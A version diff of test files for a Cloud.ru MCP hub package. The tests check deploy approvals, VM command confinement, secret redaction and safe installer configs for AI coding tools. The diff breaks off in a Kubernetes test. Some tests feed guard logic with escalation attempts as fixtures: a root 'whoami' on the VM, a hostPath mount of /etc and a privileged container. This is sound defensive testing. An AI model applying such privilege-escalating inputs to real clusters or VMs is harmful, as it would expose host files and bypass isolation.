@dzhechkov/cloudru-hub 0.1.12 → 0.1.13

package/test/deploy-approval.test.mjs

@@ -0,0 +1,154 @@
+import { after, test } from 'node:test';
+import assert from 'node:assert/strict';
+import fs from 'node:fs';
+import os from 'node:os';
+import path from 'node:path';
+import { spawnSync } from 'node:child_process';
+import { createRequire } from 'node:module';
+
+const require = createRequire(import.meta.url);
+const { readCredentials } = require('../src/credentials.js');
+const { issueApproval } = require('../src/deploy-approval.js');
+const cls = require('../data/tools-classification.json');
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-deploy-guard-'));
+after(() => fs.rmSync(scratch, { recursive: true, force: true }));
+const projectId = '11111111-2222-3333-4444-555555555555';
+const vmId = 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';
+const otherVM = 'bbbbbbbb-cccc-dddd-eeee-ffffffffffff';
+const planId = 'plan-123456abcdef';
+const file = path.join(scratch, 'credentials.json');
+const planFile = path.join(scratch, '.cloudru-vm', 'plans', `${planId}.json`);
+const log = path.join(scratch, 'forwarded.jsonl');
+const fake = path.join(scratch, 'fake-engine');
+const env = { ...process.env, CLOUDRU_HUB_CREDENTIALS: file, CLOUDRU_HUB_APPROVALS: path.join(scratch, 'approvals'), CLOUDRU_VM_HOME: scratch, FAKE_LOG: log };
+fs.writeFileSync(file, JSON.stringify({ key_id: 'test-key', secret: 'test-secret', project_id: projectId, region: 'ru.AZ-2' }), { mode: 0o600 });
+fs.mkdirSync(path.dirname(planFile), { recursive: true });
+const plan = { plan_id: planId, project_id: projectId, expires_at: new Date(Date.now() + 1800000).toISOString(), vm: { name: 'snake-pilot' }, ssh: { login: 'user1' }, cost: { currency: 'RUB', total_monthly_rub: 42 } };
+const savePlan = () => fs.writeFileSync(planFile, JSON.stringify(plan));
+savePlan();
+fs.writeFileSync(fake, `#!/usr/bin/env node
+const fs=require('fs');let b='';process.stdin.setEncoding('utf8');process.stdin.on('data',x=>{b+=x;let i;while((i=b.indexOf('\\n'))>=0){const line=b.slice(0,i);b=b.slice(i+1);if(!line)continue;const m=JSON.parse(line);fs.appendFileSync(process.env.FAKE_LOG,JSON.stringify(m)+'\\n');if(!Object.hasOwn(m,'id'))continue;let result={};if(m.method==='tools/list')result={tools:[{name:'deploy_apply'},{name:'vm_exec'},{name:'destroy'}]};else if(m.method==='tools/call'){const deployment=process.env.FAKE_DEPLOY_OUTCOME?JSON.parse(process.env.FAKE_DEPLOY_OUTCOME):{vm_id:'${vmId}',status:'running',public_ip:'203.0.113.10',password:'generated-secret'};result={isError:m.params.name==='deploy_apply'&&!!process.env.FAKE_DEPLOY_ERROR,content:[{type:'text',text:m.params.name==='deploy_apply'?JSON.stringify(deployment):JSON.stringify({status:'ok'})}]};}process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:m.id,result})+'\\n');}});
+`);
+fs.chmodSync(fake, 0o755);
+const rpc = (id, name, args = {}) => JSON.stringify({ jsonrpc: '2.0', id, method: 'tools/call', params: { name, arguments: args } });
+function run(lines, overrides = {}) {
+  fs.writeFileSync(log, '');
+  const script = `const {runSafeMcp}=require(${JSON.stringify(path.resolve(import.meta.dirname, '../src/safe-mcp.js'))});runSafeMcp({toolsets:'vm-deploy',resolved:{path:${JSON.stringify(fake)},verified:true,sha256:${JSON.stringify(cls.engineSha256)}}});`;
+  const r = spawnSync(process.execPath, ['-e', script], { input: lines.join('\n') + '\n', encoding: 'utf8', timeout: 5000, env: { ...env, ...overrides } });
+  assert.equal(r.status, 0, r.stderr || r.error?.message);
+  return { responses: r.stdout.trim().split('\n').map(JSON.parse), forwarded: fs.readFileSync(log, 'utf8').trim().split('\n').filter(Boolean).map(JSON.parse) };
+}
+
+test('credentials require owner-only regular file and do not interpolate shell text', () => {
+  assert.equal(readCredentials(env).projectId, projectId);
+  assert.equal(readCredentials(env).env.CLOUDRU_KEY_ID, 'test-key');
+  fs.chmodSync(file, 0o644);
+  assert.throws(() => readCredentials(env), /0600/);
+  fs.chmodSync(file, 0o600);
+  fs.writeFileSync(file, '{"secret":THIS_IS_A_FAKE_SECRET_FOR_QE}', { mode: 0o600 });
+  assert.throws(() => readCredentials(env), (error) => error.message === 'credentials file is not valid JSON');
+  fs.writeFileSync(file, JSON.stringify({ key_id: 'test-key', secret: 'test-secret', project_id: projectId, region: 'ru.AZ-2' }), { mode: 0o600 });
+});
+
+test('cost cap and project must match the persisted plan before approval', () => {
+  assert.throws(() => issueApproval(planId, 41, env), /cost exceeds/);
+  plan.project_id = otherVM;
+  savePlan();
+  assert.throws(() => issueApproval(planId, 100, env), /project differs/);
+  plan.project_id = projectId;
+  savePlan();
+});
+
+test('approved plan is single-use; remote commands are confined to its VM', () => {
+  issueApproval(planId, 50, env);
+  const out = run([
+    JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/list' }),
+    rpc(2, 'deploy_apply', { plan_id: planId, confirmed: false }),
+    rpc(3, 'deploy_apply', { plan_id: planId, confirmed: true }),
+  ]);
+  const followup = run([
+    rpc(4, 'vm_exec', { vm: otherVM, command: 'id' }),
+    rpc(5, 'vm_exec', { vm: vmId, user: 'root', command: 'whoami' }),
+    rpc(6, 'destroy', { confirmed: true }),
+  ]);
+  const by = Object.fromEntries([...out.responses, ...followup.responses].map((x) => [x.id, x]));
+  assert.deepEqual(by[1].result.tools.map((x) => x.name), ['deploy_apply', 'vm_exec']);
+  assert.equal(by[2].result.isError, false);
+  assert.doesNotMatch(JSON.stringify(by[2]), /generated-secret/);
+  for (const id of [3, 4, 6]) assert.ok(by[id].error, `request ${id} blocked`);
+  assert.equal(by[5].result.content[0].text, JSON.stringify({ status: 'ok' }));
+  const calls = [...out.forwarded, ...followup.forwarded].filter((x) => x.method === 'tools/call');
+  assert.deepEqual(calls.map((x) => x.params), [
+    { name: 'deploy_apply', arguments: { plan_id: planId, confirmed: true } },
+    { name: 'vm_exec', arguments: { vm: vmId, user: 'user1', command: 'whoami' } },
+  ]);
+});
+
+test('a changed plan invalidates the exact approval', () => {
+  const second = 'plan-abcdef123456';
+  const secondFile = path.join(path.dirname(planFile), `${second}.json`);
+  fs.writeFileSync(secondFile, JSON.stringify({ ...plan, plan_id: second }));
+  issueApproval(second, 50, env);
+  fs.writeFileSync(secondFile, JSON.stringify({ ...plan, plan_id: second, cost: { currency: 'RUB', total_monthly_rub: 49 } }));
+  const out = run([rpc(1, 'deploy_apply', { plan_id: second, confirmed: true })]);
+  assert.match(out.responses[0].error.message, /approval does not match/);
+  assert.equal(out.forwarded.length, 0);
+});
+
+test('partial deploy preserves its VM UUID for recovery and redacts nested secrets', () => {
+  const third = 'plan-123456fedcba';
+  fs.writeFileSync(path.join(path.dirname(planFile), `${third}.json`), JSON.stringify({ ...plan, plan_id: third }));
+  issueApproval(third, 50, env);
+  const outcome = { status: 'state_persistence_failed', result: { vm_id: otherVM, status: 'running', password: 'generated-secret' }, error: 'local state write failed' };
+  const out = run([rpc(1, 'deploy_apply', { plan_id: third })], { FAKE_DEPLOY_OUTCOME: JSON.stringify(outcome), FAKE_DEPLOY_ERROR: '1' });
+  assert.equal(out.responses[0].result.isError, true);
+  const returned = JSON.parse(out.responses[0].result.content[0].text);
+  assert.equal(returned.result.vm_id, otherVM);
+  assert.equal(returned.result.password, undefined);
+  assert.match(returned.recovery, /Inspect/);
+  const denied = run([rpc(2, 'vm_exec', { vm: otherVM, command: 'id' })]);
+  assert.ok(denied.responses[0].error);
+});
+
+test('static site requires the reviewed digest and never grants an SSH command session', () => {
+  const id = 'plan-aabbccddeeff';
+  const digest = 'a'.repeat(64);
+  const sitePlan = { ...plan, plan_id: id, ports: [80], network: { floating_ip: true, subnet_id: 'subnet-a', attach_fip_id: otherVM },
+    static_site: { source: 'fixtures/snake/index.html', sha256: digest, size_bytes: 12, source_base64: Buffer.from('hello snake!').toString('base64'),
+      files: [{ path: 'index.html', sha256: digest, size_bytes: 12, content_base64: Buffer.from('hello snake!').toString('base64') }] } };
+  const siteFile = path.join(path.dirname(planFile), `${id}.json`);
+  fs.writeFileSync(siteFile, JSON.stringify(sitePlan));
+  assert.throws(() => issueApproval(id, 50, env), /site-sha256/);
+  assert.throws(() => issueApproval(id, 50, env, Date.now(), 'b'.repeat(64)), /site-sha256/);
+  const approved = issueApproval(id, 50, env, Date.now(), digest);
+  assert.equal(approved.staticSite.sha256, digest);
+  assert.match(approved.staticSite.ingress, /dedicated security group/);
+  assert.match(approved.staticSite.estimateScope, /public IP charges excluded/);
+  const outcome = { vm_id: otherVM, status: 'running', public_ip: '203.0.113.10', http_verification: { verified: true } };
+  const out = run([rpc(1, 'deploy_apply', { plan_id: id })], { FAKE_DEPLOY_OUTCOME: JSON.stringify(outcome) });
+  assert.equal(out.responses[0].result.isError, false);
+  const denied = run([rpc(2, 'vm_exec', { vm: otherVM, command: 'id' })]);
+  assert.ok(denied.responses[0].error);
+});
+
+test('static-site artifact and same-price network changes invalidate approval', () => {
+  const site = { source: 'snake.zip', sha256: 'c'.repeat(64), size_bytes: 20, source_base64: Buffer.from('test').toString('base64'),
+    files: [{ path: 'index.html', sha256: 'd'.repeat(64), size_bytes: 10, content_base64: 'aGVsbG8=' }] };
+  for (const [suffix, mutation] of [
+    ['010101010101', (p) => { p.static_site.sha256 = 'e'.repeat(64); }],
+    ['020202020202', (p) => { p.network.subnet_id = 'subnet-b'; }],
+    ['030303030303', (p) => { p.vm.zone = { id: 'zone-b', name: 'AZ-2' }; }],
+  ]) {
+    const id = `plan-${suffix}`;
+    const original = { ...plan, plan_id: id, ports: [80], network: { floating_ip: true, subnet_id: 'subnet-a', attach_fip_id: otherVM },
+      vm: { ...plan.vm, zone: { id: 'zone-a', name: 'AZ-1' } }, static_site: structuredClone(site) };
+    const filename = path.join(path.dirname(planFile), `${id}.json`);
+    fs.writeFileSync(filename, JSON.stringify(original));
+    issueApproval(id, 50, env, Date.now(), site.sha256);
+    mutation(original);
+    fs.writeFileSync(filename, JSON.stringify(original));
+    const out = run([rpc(1, 'deploy_apply', { plan_id: id })]);
+    assert.match(out.responses[0].error.message, /approval does not match/);
+    assert.equal(out.forwarded.length, 0);
+  }
+});

package/test/dialects.test.mjs

@@ -1,7 +1,7 @@
 // Skill dialect compiler tests — ADR-006 Confirmation, all layer 1: size, links, dialect
 // grep, determinism. Uses a SYNTHETIC fixture (our own text carrying the Hermes-dialect
 // tokens) — the real canonical corpus is upstream content and never ships in this package.
-import { test } from 'node:test';
+import { after, test } from 'node:test';
 import assert from 'node:assert/strict';
 import fs from 'node:fs';
 import os from 'node:os';
@@ -11,8 +11,18 @@ import { createRequire } from 'node:module';
 const require = createRequire(import.meta.url);
 const { compileSkill, loadDialects, filterFrontmatter } = require('../src/dialects.js');
 
+// Every scratch dir is removed at the end (after() + process exit) unless DZ_KEEP_TMP=1 —
+// MEASURED 2026-09-20: 81 cloudru-dialects-* dirs per full sweep (backlog 7cb6f9b7).
+const created = [];
+const removeCreated = () => {
+  if (process.env.DZ_KEEP_TMP === '1') return;
+  for (const d of created.splice(0)) fs.rmSync(d, { recursive: true, force: true });
+};
+after(removeCreated);
+process.on('exit', removeCreated);
 function fixture() {
   const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-dialects-'));
+  created.push(dir);
   fs.writeFileSync(path.join(dir, 'SKILL.md'), `---
 name: cloudru-hub
 description: Управление Cloud.ru Evolution.

package/test/install.test.mjs

@@ -1,5 +1,5 @@
 // Installer tests — ADR-005 tiering + ADR-004 brake emission with EXECUTED veto.
-import { test } from 'node:test';
+import { after, test } from 'node:test';
 import assert from 'node:assert/strict';
 import fs from 'node:fs';
 import os from 'node:os';
@@ -7,10 +7,21 @@ import path from 'node:path';
 import { createRequire } from 'node:module';
 
 const require = createRequire(import.meta.url);
+const YAML = require('yaml');
 const { install, mergeSettings, claudeSettingsFragment, probeBrake, HOOK_TEMPLATE, TIERS } = require('../src/install.js');
 const { permissionRules } = require('../src/classification.js');
+const pinnedEngine = { path: '/verified/cloudru-vm', verified: true, sha256: require('../data/tools-classification.json').engineSha256 };
 
-const tmp = () => fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-hub-test-'));
+// Every scratch dir is removed at the end (after() + process exit) unless DZ_KEEP_TMP=1 —
+// MEASURED 2026-09-20: 42 cloudru-hub-test-* dirs per full sweep (backlog 7cb6f9b7).
+const created = [];
+const removeCreated = () => {
+  if (process.env.DZ_KEEP_TMP === '1') return;
+  for (const d of created.splice(0)) fs.rmSync(d, { recursive: true, force: true });
+};
+after(removeCreated);
+process.on('exit', removeCreated);
+const tmp = () => { const d = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-hub-test-')); created.push(d); return d; };
 
 test('claude-code install emits .mcp.json + permission brake + hook, and the veto is EXECUTED', () => {
   const dir = tmp();
@@ -80,7 +91,7 @@ test('install is idempotent — second run does not duplicate rules or hooks', (
 });
 
 test('DEGRADED targets are refused with the ADR-005 reason — never a fake install', () => {
-  for (const target of ['openclaude', 'opencode', 'cursor', 'windsurf', 'copilot']) {
+  for (const target of ['openclaude', 'cursor', 'windsurf', 'copilot']) {
     const dir = tmp();
     const res = install(target, dir);
     assert.equal(res.code, 2, target);
@@ -104,22 +115,235 @@ test('POINTER-ONLY targets get the ≤2048-char pointer with the mandatory no-ve
   }
 });
 
-test('codex is plan-only: prints the user-global steps + mandatory live probe, applies nothing', () => {
+test('codex installs a project-scoped safe server and preserves unrelated TOML', () => {
   const dir = tmp();
+  fs.mkdirSync(path.join(dir, '.codex'));
+  fs.writeFileSync(path.join(dir, '.codex', 'config.toml'), 'model = "other"\n');
   const res = install('codex', dir);
-  assert.equal(res.code, 3);
-  const out = res.lines.join('\n');
-  assert.ok(out.includes('codex mcp add'));
-  assert.ok(out.includes('~/.codex/hooks.json'));
-  assert.ok(out.includes('MANDATORY probe'));
-  assert.equal(fs.readdirSync(dir).length, 0, 'nothing written');
+  assert.equal(res.code, 0, res.lines.join('\n'));
+  const out = fs.readFileSync(path.join(dir, '.codex', 'config.toml'), 'utf8');
+  assert.match(out, /model = "other"/);
+  assert.match(out, /\[mcp_servers\.cloudru_hub\]/);
+  assert.match(out, /mcp-safe/);
+  assert.match(out, /enabled_tools = .*"vm_list"/);
+  assert.match(out, /--toolsets","inventory"/);
+  assert.doesNotMatch(out, /"deploy"/);
+  assert.match(out, /default_tools_approval_mode = "prompt"/);
+  assert.equal(install('codex', dir).code, 0, 'same install is idempotent');
+});
+
+test('OpenCode and Pi install a safe MCP server without replacing unrelated JSON', () => {
+  for (const target of ['opencode', 'pi']) {
+    const dir = tmp();
+    const file = path.join(dir, target === 'pi' ? '.pi/mcp.json' : 'opencode.json');
+    fs.mkdirSync(path.dirname(file), { recursive: true });
+    fs.writeFileSync(file, JSON.stringify(target === 'pi' ? { mcpServers: { other: { command: 'test' } }, theme: 'x' } : { mcp: { other: { type: 'remote', url: 'https://example.com/mcp' } }, theme: 'x' }));
+    assert.equal(install(target, dir).code, 0);
+    const data = JSON.parse(fs.readFileSync(file, 'utf8'));
+    const servers = target === 'pi' ? data.mcpServers : data.mcp;
+    assert.ok(servers.other);
+    assert.equal(data.theme, 'x');
+    assert.match(JSON.stringify(servers.cloudru_hub), /mcp-safe/);
+    assert.equal(install(target, dir).code, 0);
+  }
+});
+
+test('installers refuse a competing raw Cloud.ru server', () => {
+  for (const target of ['codex', 'opencode', 'pi']) {
+    const dir = tmp();
+    if (target === 'codex') {
+      fs.mkdirSync(path.join(dir, '.codex'));
+      fs.writeFileSync(path.join(dir, '.codex/config.toml'), '[mcp_servers.cloudru-vm]\ncommand = "raw"\n');
+    } else {
+      const file = path.join(dir, target === 'pi' ? '.pi/mcp.json' : 'opencode.json');
+      fs.mkdirSync(path.dirname(file), { recursive: true });
+      fs.writeFileSync(file, JSON.stringify(target === 'pi' ? { mcpServers: { 'cloudru-vm': {} } } : { mcp: { 'cloudru-vm': {} } }));
+    }
+    assert.equal(install(target, dir).code, 2, target);
+  }
+});
+
+test('Codex refuses quoted and inline TOML MCP declarations before changing the file', () => {
+  const variants = [
+    '[mcp_servers."cloudru-vm"]\ncommand = "raw"\n',
+    '[mcp_servers."cloudru_hub"]\ncommand = "raw"\n',
+    'mcp_servers = { cloudru_hub = { command = "raw" } }\n',
+    '["\\u006dcp_servers"."cloudru-vm"]\ncommand = "raw"\n',
+  ];
+  for (const source of variants) {
+    const dir = tmp();
+    const file = path.join(dir, '.codex/config.toml');
+    fs.mkdirSync(path.dirname(file));
+    fs.writeFileSync(file, source);
+    const res = install('codex', dir);
+    assert.equal(res.code, 2, source);
+    assert.equal(fs.readFileSync(file, 'utf8'), source);
+  }
+});
+
+test('Hermes installs a guarded nonempty include list without changing unrelated YAML', () => {
+  const dir = tmp();
+  const file = path.join(dir, 'config.yaml');
+  const source = 'plugins:\n  enabled: true\nmcp_servers:\n  github:\n    command: "other"\nagent:\n  model: "test"\n';
+  fs.writeFileSync(file, source);
+  const res = install('hermes', dir, { hermesHome: dir, resolvedEngine: pinnedEngine });
+  assert.equal(res.code, 0, res.lines.join('\n'));
+  const out = fs.readFileSync(file, 'utf8');
+  assert.deepEqual(Object.keys(YAML.parse(out).mcp_servers).sort(), ['cloudru_hub', 'github']);
+  assert.match(out, /mcp-safe/);
+  assert.match(out, /vm_list/);
+  assert.match(out, /--toolsets/);
+  assert.match(out, /include: \[/);
+  assert.equal(YAML.parse(out).mcp_servers.cloudru_hub.env.CLOUDRU_VM_BIN, pinnedEngine.path);
+  assert.doesNotMatch(out, /"deploy"/);
+  assert.match(out, /plugins:\n  enabled: true/);
+  assert.match(out, /  github:\n    command: "other"/);
+  assert.match(out, /agent:\n  model: "test"/);
+  assert.equal(install('hermes', dir, { hermesHome: dir, resolvedEngine: pinnedEngine }).code, 0);
+  assert.equal(fs.readFileSync(file, 'utf8'), out, 'second install is idempotent');
+});
+
+test('Hermes keeps valid comments and refuses a flow-root document', () => {
+  const commented = tmp();
+  const file = path.join(commented, 'config.yaml');
+  fs.writeFileSync(file, 'mcp_servers:\n  other:\n    command: harmless\n # explanatory comment\n');
+  assert.equal(install('hermes', commented, { hermesHome: commented, resolvedEngine: pinnedEngine }).code, 0);
+  assert.equal(YAML.parse(fs.readFileSync(file, 'utf8')).mcp_servers.other.command, 'harmless');
+  assert.equal(YAML.parse(fs.readFileSync(file, 'utf8')).mcp_servers.cloudru_hub.tools.include.length, 11);
+
+  const flow = tmp();
+  const flowFile = path.join(flow, 'config.yaml');
+  fs.writeFileSync(flowFile, '{ model: harmless }\n');
+  assert.equal(install('hermes', flow, { hermesHome: flow }).code, 2);
+  assert.equal(fs.readFileSync(flowFile, 'utf8'), '{ model: harmless }\n');
+});
+
+test('Hermes refuses missing or hash-mismatched engine without writing config', () => {
+  for (const resolvedEngine of [
+    { error: 'engine absent' },
+    { ...pinnedEngine, sha256: '0'.repeat(64) },
+    { ...pinnedEngine, verified: false },
+  ]) {
+    const dir = tmp();
+    const file = path.join(dir, 'config.yaml');
+    fs.writeFileSync(file, 'agent:\n  model: test\n');
+    const res = install('hermes', dir, { hermesHome: dir, resolvedEngine });
+    assert.equal(res.code, 2);
+    assert.equal(fs.readFileSync(file, 'utf8'), 'agent:\n  model: test\n');
+  }
+});
+
+test('Hermes refuses raw Cloud.ru entries and complex YAML without writing', () => {
+  for (const source of [
+    'mcp_servers:\n  cloudru-vm:\n    command: raw\n',
+    'mcp_servers: {cloudru_hub: {command: raw}}\n',
+    'mcp_servers: &servers\n  github: {}\n',
+    'mcp_servers:\n  other:\n    command: harmless\n# comment\n  cloudru-vm:\n    command: raw\n',
+    'mcp_servers:\n  other:\n    command: harmless\n"mcp_servers":\n  cloudru-vm:\n    command: raw\n',
+  ]) {
+    const dir = tmp();
+    const file = path.join(dir, 'config.yaml');
+    fs.writeFileSync(file, source);
+    assert.equal(install('hermes', dir, { hermesHome: dir }).code, 2, source);
+    assert.equal(fs.readFileSync(file, 'utf8'), source);
+  }
+});
+
+test('toolset selection validates before install and limits Codex enabled_tools', () => {
+  const dir = tmp();
+  const invalid = install('codex', dir, { toolsets: 'inventory,all' });
+  assert.equal(invalid.code, 1);
+  assert.deepEqual(fs.readdirSync(dir), []);
+  const ok = install('codex', dir, { toolsets: 'billing' });
+  assert.equal(ok.code, 0);
+  const config = fs.readFileSync(path.join(dir, '.codex/config.toml'), 'utf8');
+  assert.match(config, /billing_balance/);
+  assert.doesNotMatch(config, /vm_list/);
+  assert.match(config, /CLOUDRU_HUB_CREDENTIALS/);
+  assert.match(config, /CLOUDRU_AGREEMENT_ID/);
+  assert.match(config, /CLOUDRU_KEY_ID/);
+});
+
+test('vm-deploy installs guarded tools and long-call timeouts for Codex, Hermes, OpenCode and Pi', () => {
+  const codexDir = tmp();
+  assert.equal(install('codex', codexDir, { toolsets: 'vm-deploy' }).code, 0);
+  const config = fs.readFileSync(path.join(codexDir, '.codex/config.toml'), 'utf8');
+  for (const name of ['deploy_plan', 'deploy_apply', 'vm_exec']) assert.match(config, new RegExp(`"${name}"`));
+  for (const name of ['destroy', 'secret_value', 'stack_apply']) assert.doesNotMatch(config, new RegExp(`"${name}"`));
+  assert.match(config, /--toolsets","vm-deploy"/);
+  assert.match(config, /tool_timeout_sec = 1200/);
+  assert.match(config, /env_vars = \["CLOUDRU_VM_BIN","CLOUDRU_HUB_CREDENTIALS","CLOUDRU_VM_HOME","CLOUDRU_HUB_APPROVALS"\]/);
+  assert.match(config, /default_tools_approval_mode = "auto"/);
+
+  const hermesDir = tmp();
+  assert.equal(install('hermes', hermesDir, { hermesHome: hermesDir, toolsets: 'vm-deploy', resolvedEngine: pinnedEngine }).code, 0);
+  const yaml = YAML.parse(fs.readFileSync(path.join(hermesDir, 'config.yaml'), 'utf8'));
+  assert.ok(yaml.mcp_servers.cloudru_hub.tools.include.includes('deploy_apply'));
+  assert.ok(!yaml.mcp_servers.cloudru_hub.tools.include.includes('destroy'));
+  assert.equal(yaml.mcp_servers.cloudru_hub.timeout, 1200);
+
+  const opencodeDir = tmp();
+  assert.equal(install('opencode', opencodeDir, { toolsets: 'vm-deploy' }).code, 0);
+  const opencode = JSON.parse(fs.readFileSync(path.join(opencodeDir, 'opencode.json'), 'utf8'));
+  assert.equal(opencode.mcp.cloudru_hub.timeout, 1_200_000, 'OpenCode uses milliseconds');
+  assert.equal(install('opencode', opencodeDir, { toolsets: 'vm-deploy' }).code, 0);
+
+  const piDir = tmp();
+  assert.equal(install('pi', piDir, { toolsets: 'vm-deploy' }).code, 0);
+  const pi = JSON.parse(fs.readFileSync(path.join(piDir, '.pi/mcp.json'), 'utf8'));
+  assert.equal(pi.mcpServers.cloudru_hub.timeout, 1200, 'Pi uses seconds');
+  assert.equal(install('pi', piDir, { toolsets: 'vm-deploy' }).code, 0);
+});
+
+test('k8s-deploy installs the bounded profile across five hosts and refuses a raw Claude server', () => {
+  const codexDir = tmp();
+  assert.equal(install('codex', codexDir, { toolsets: 'k8s-deploy' }).code, 0);
+  const codex = fs.readFileSync(path.join(codexDir, '.codex/config.toml'), 'utf8');
+  assert.match(codex, /k8s-deploy/);
+  assert.match(codex, /tool_timeout_sec = 1200/);
+  assert.doesNotMatch(codex, /k8s_create/);
+
+  const hermesDir = tmp();
+  assert.equal(install('hermes', hermesDir, { toolsets: 'k8s-deploy', hermesHome: hermesDir, resolvedEngine: pinnedEngine }).code, 0);
+  const hermes = YAML.parse(fs.readFileSync(path.join(hermesDir, 'config.yaml'), 'utf8'));
+  assert.deepEqual(hermes.mcp_servers.cloudru_hub.tools.include, ['k8s_apply', 'k8s_get', 'k8s_kubectl', 'k8s_list', 'k8s_nodepools', 'k8s_options']);
+  assert.equal(hermes.mcp_servers.cloudru_hub.timeout, 1200);
+
+  const opencodeDir = tmp();
+  assert.equal(install('opencode', opencodeDir, { toolsets: 'k8s-deploy' }).code, 0);
+  assert.equal(JSON.parse(fs.readFileSync(path.join(opencodeDir, 'opencode.json'), 'utf8')).mcp.cloudru_hub.timeout, 1_200_000);
+
+  const piDir = tmp();
+  assert.equal(install('pi', piDir, { toolsets: 'k8s-deploy' }).code, 0);
+  assert.equal(JSON.parse(fs.readFileSync(path.join(piDir, '.pi/mcp.json'), 'utf8')).mcpServers.cloudru_hub.timeout, 1200);
+
+  const claudeDir = tmp();
+  assert.equal(install('claude-code', claudeDir, { toolsets: 'k8s-deploy' }).code, 0);
+  const mcp = JSON.parse(fs.readFileSync(path.join(claudeDir, '.mcp.json'), 'utf8'));
+  assert.ok(mcp.mcpServers.cloudru_hub.args.includes('k8s-deploy'));
+  assert.equal(mcp.mcpServers['cloudru-vm'], undefined);
+  assert.deepEqual(JSON.parse(fs.readFileSync(path.join(claudeDir, '.claude/settings.json'), 'utf8')).enabledMcpjsonServers, ['cloudru_hub']);
+  assert.equal(install('claude-code', claudeDir, { toolsets: 'k8s-deploy' }).code, 0);
+  assert.equal(install('claude-code', claudeDir, { toolsets: 'k8s-deploy', npx: true }).code, 2);
+  const rawDir = tmp();
+  fs.writeFileSync(path.join(rawDir, '.mcp.json'), JSON.stringify({ mcpServers: { 'cloudru-vm': { command: 'unsafe' } } }));
+  assert.equal(install('claude-code', rawDir, { toolsets: 'k8s-deploy' }).code, 2);
+  const invalidMcp = tmp();
+  fs.writeFileSync(path.join(invalidMcp, '.mcp.json'), '[]\n');
+  assert.equal(install('claude-code', invalidMcp, { toolsets: 'k8s-deploy' }).code, 2);
+  assert.equal(fs.readFileSync(path.join(invalidMcp, '.mcp.json'), 'utf8'), '[]\n');
+  const invalidSettings = tmp();
+  fs.mkdirSync(path.join(invalidSettings, '.claude'));
+  fs.writeFileSync(path.join(invalidSettings, '.claude/settings.json'), '[]\n');
+  assert.equal(install('claude-code', invalidSettings, { toolsets: 'k8s-deploy' }).code, 2);
+  assert.equal(fs.readFileSync(path.join(invalidSettings, '.claude/settings.json'), 'utf8'), '[]\n');
 });
 
 test('unknown target is an error listing the known ones', () => {
   const res = install('emacs', tmp());
   assert.equal(res.code, 1);
   assert.ok(res.lines[0].includes('unknown target'));
-  assert.equal(Object.keys(TIERS).length, 9);
+  assert.equal(Object.keys(TIERS).length, 11);
 });
 
 test('probeBrake discriminates: a hook that stops vetoing FAILS the probe (broken-brake control)', () => {

package/test/k8s-approval.test.mjs

@@ -0,0 +1,125 @@
+import { after, test } from 'node:test';
+import assert from 'node:assert/strict';
+import fs from 'node:fs';
+import os from 'node:os';
+import path from 'node:path';
+import { spawnSync } from 'node:child_process';
+import { createRequire } from 'node:module';
+
+const require = createRequire(import.meta.url);
+const YAML = require('yaml');
+const cls = require('../data/tools-classification.json');
+const { selectedToolNames } = require('../src/toolsets.js');
+const { PILOT_IMAGE, validateManifest, issueK8sApproval, consumeK8sApproval, k8sSession } = require('../src/k8s-approval.js');
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-k8s-approval-'));
+after(() => fs.rmSync(scratch, { recursive: true, force: true }));
+const clusterId = '11111111-2222-4333-8444-555555555555';
+const projectId = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee';
+const credentials = path.join(scratch, 'credentials.json');
+fs.writeFileSync(credentials, JSON.stringify({ key_id: 'test-only', secret: 'test-only', project_id: projectId }), { mode: 0o600 });
+const env = { ...process.env, CLOUDRU_HUB_CREDENTIALS: credentials, CLOUDRU_HUB_APPROVALS: path.join(scratch, 'approvals') };
+
+function docs() {
+  const metadata = (name) => ({ name, namespace: 'snake-pilot' });
+  const app = 'snake-game';
+  return [
+    { apiVersion: 'v1', kind: 'ConfigMap', metadata: metadata('snake-game-html'), data: { 'index.html': '<!doctype html><title>Snake</title>' } },
+    { apiVersion: 'apps/v1', kind: 'Deployment', metadata: metadata(app), spec: {
+      replicas: 1, selector: { matchLabels: { app } }, template: { metadata: { labels: { app } }, spec: {
+        automountServiceAccountToken: false, securityContext: { runAsNonRoot: true },
+        containers: [{ name: app, image: PILOT_IMAGE, command: ['httpd'], args: ['-f', '-p', '8080', '-h', '/www'],
+          ports: [{ containerPort: 8080 }], readinessProbe: { httpGet: { path: '/', port: 8080 } },
+          resources: { requests: { cpu: '50m', memory: '32Mi' }, limits: { cpu: '100m', memory: '64Mi' } },
+          securityContext: { allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, runAsUser: 10001, runAsGroup: 10001, capabilities: { drop: ['ALL'] } },
+          volumeMounts: [{ name: 'html', mountPath: '/www', readOnly: true }] }],
+        volumes: [{ name: 'html', configMap: { name: 'snake-game-html' } }],
+      } } } },
+    { apiVersion: 'v1', kind: 'Service', metadata: metadata(app), spec: { type: 'ClusterIP', selector: { app }, ports: [{ port: 80, targetPort: 8080 }] } },
+  ];
+}
+const serialize = (resources) => resources.map((r) => YAML.stringify(r)).join('---\n');
+const manifest = serialize(docs());
+const digest = require('crypto').createHash('sha256').update(manifest).digest('hex');
+const manifestFile = path.join(scratch, 'snake.yaml');
+fs.writeFileSync(manifestFile, manifest);
+
+test('bounded Kubernetes manifest accepts exactly the reviewed pod-native resources', () => {
+  assert.deepEqual(validateManifest(manifest, 'snake-pilot').resources.map((r) => r.kind), ['ConfigMap', 'Deployment', 'Service']);
+  assert.deepEqual(selectedToolNames('k8s-deploy'), ['k8s_apply', 'k8s_get', 'k8s_kubectl', 'k8s_list', 'k8s_nodepools', 'k8s_options']);
+  for (const name of selectedToolNames('k8s-deploy')) {
+    assert.equal(cls.tools[name].permission, ['k8s_apply', 'k8s_kubectl'].includes(name) ? 'ask' : 'allow');
+  }
+});
+
+test('unexpected mutators, exposure, privilege, image and namespace are rejected', () => {
+  const mutations = [
+    (r) => { r[1].spec.template.spec.volumes.push({ name: 'host', hostPath: { path: '/etc' } }); },
+    (r) => { r[1].spec.template.spec.containers[0].securityContext.privileged = true; },
